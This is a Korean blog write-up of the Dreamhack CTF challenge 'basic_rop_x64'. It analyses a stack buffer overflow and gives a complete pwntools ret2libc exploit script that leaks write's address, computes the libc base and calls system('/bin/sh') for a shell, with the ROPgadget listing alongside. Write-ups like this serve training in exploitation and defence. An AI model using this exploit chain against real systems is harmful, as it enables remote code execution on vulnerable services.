2021. 8. 1. 02:04ㆍWargame CTF/Dreamhack
문제
IDA 디컴파일
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-40h]
__int64 savedregs; // [rsp+50h] [rbp+0h]
memset(&buf, 0, 0x40uLL);
initialize(&savedregs, argv, &buf);
read(0, &buf, 0x400uLL);
write(1, &buf, 0x40uLL);
return 0;
}
x86 문제와 거의 비슷합니다.
buf변수는 총 0x40byte를 할당받았지만, 입력은 0x400byte 만큼 입력받으므로, BOF 발생
NX 보호기법이 걸려있으므로, 쉘코드로는 불가능합니다.
딱히 특별한 것은 없으므로, ROP를 이용하여 문제를 풀어나가겠습니다.
분석
1. BUF, SFP를 채워주고 64bit 이므로 인자가 먼저다, 그러므로 인자를 먼저 세팅해 줍니다.
2. x86에선 puts를 leak했으니 이번에는 write를 leak해보겠습니다. leak를 구한 후
3. main으로 다시 돌아오고, libc_base를 구하고, system의 실제 주소를 얻는다.
4. read 함수를 이용해 bss영역에 /bin/sh 를 넣어준다.
5. system 호출, 인자 값 bss ( bss안에는 현재 /bin/sh 의 문자열이 들어있다) > system(/bin/sh)
6. 쉘획득
필요한 가젯.
pop ret;
: system의 인자 1개
pop pop ret;
: read, write의 인자 2개
64bit 부터는 함수호출규악, rdi rsi rdx rcx r8 r9 순서가 중요하므로 잘 찾아보면..
명령어 : ROPgadget --binary "파일이름" | grep "pop"
user@user-virtual-machine:~/Desktop/Layer7/dreakhack/basic_rop$ ROPgadget --binary basic_rop_x64 | grep "pop"
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040069d : je 0x4006b0 ; pop rbp ; mov edi, 0x601068 ; jmp rax
0x00000000004006eb : je 0x4006f8 ; pop rbp ; mov edi, 0x601068 ; jmp rax
0x00000000004007b7 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x0000000000400740 : pop rbp ; jmp 0x4006c0
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601068 ; jmp rax
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
먼저 pop rdi ; ret 가젯,
그 후..... pop rsi ; pop r15 ; ret 가젯 을 사용하겠습니다.
Exploit code
from pwn import *
context.log_level = 'debug'
p = remote('host1.dreamhack.games',9897)
e = ELF('./basic_rop_x64')
libc = ELF("./libc.so.6")
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
prdi = 0x0000000000400883 #pop rdi ; ret
prsi_r15 = 0x0000000000400881 #pop rsi ; pop r15 ; ret
main = e.symbols['main']
binsh = '/bin/sh\x00'
payload = ''
payload += 'A'*(0x40 + 0x8)
payload += p64(prdi)
payload += p64(1)
payload += p64(prsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main)
p.send(payload)
leak = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.info(hex(leak))
libc_base = leak - libc.symbols['write']
log.info(hex(libc_base))
system = libc_base + libc.symbols['system']
log.info(hex(system))
payload2 = ''
payload2 += 'A'*(0x40+0x8)
payload2 += p64(prdi)
payload2 += p64(0)
payload2 += p64(prsi_r15)
payload2 += p64(e.bss()+ 0x200)
payload2 += p64(8)
payload2 += p64(read_plt)
payload2 += p64(prdi)
payload2 += p64(e.bss()+0x200)
payload2 += p64(system)
p.send(payload2)
p.send(binsh)
p.interactive()
32bit와 64bit의 SFP는 4byte, 8byte 입니다.
FLAG
'Wargame CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] simple_sqli - Write up (0) | 2021.08.17 |
---|---|
[Dreamhack] proxy-1 (0) | 2021.08.11 |
[Dreamhack] cookie (0) | 2021.08.11 |
[Dreamhack] basic_rop_x86 - Write Up (0) | 2021.07.31 |